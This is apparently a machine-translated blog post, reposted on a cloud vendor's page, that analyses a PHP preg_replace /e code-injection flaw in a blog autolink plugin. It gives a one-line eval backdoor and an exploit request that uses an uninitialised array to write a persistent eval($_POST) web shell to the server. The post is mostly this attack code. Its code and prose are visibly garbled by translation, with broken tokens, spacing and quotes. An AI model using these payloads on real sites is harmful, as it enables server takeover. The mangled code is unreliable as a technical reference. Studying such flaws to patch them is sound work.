Analysis of a piece of php vulnerability code

Source: Internet
Author: User

I saw an interesting piece of code a few days ago and recorded it.
First, we will introduce a famous function preg_replace in php. Its prototype is:
Mixed preg_replace (mixed pattern, mixed replacement, mixed subject [, int limit])
This function is interesting: As long as/e appears in the first parameter, the second parameter can be controlled, so we can execute the Php Code. For example, you can write a sentence based on this: <? Preg_replace (// e, $ _ GET [c],)?>
Below is a piece of code that I excerpted from a blog

@ Require (admin/class/autolink. php );
If (count ($ autolink )! = 0 ){
Foreach ($ autolink as $ key => $ val)
{
$ Pattern [] = "/(? <! Http: //) (". $ val [keyword].") (?! [A-z0-9/-_ + = .~! % @? # % &;: $ \ () |] +)/I ";
$ Replace [] = "[url = {$ val [url]}] \ 1 [/url]";
}
$ OneRe [content] = preg_replace ($ pattern, $ replace, $ oneRe [content]);
Unset ($ pattern, $ replace );
}

Is this code very sinister? If the user deletes admin/class/autolink. php for a default connection, $ autolink is not correctly initialized and we submit
Autolink [keyword] = // e & Autolink [url] = fputs (fopen (admin/cnsst. php, w +), <">? @ Eval ($ _ post [c])?>)
In this way, we get the smallest horse of admin/cnsst. php.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.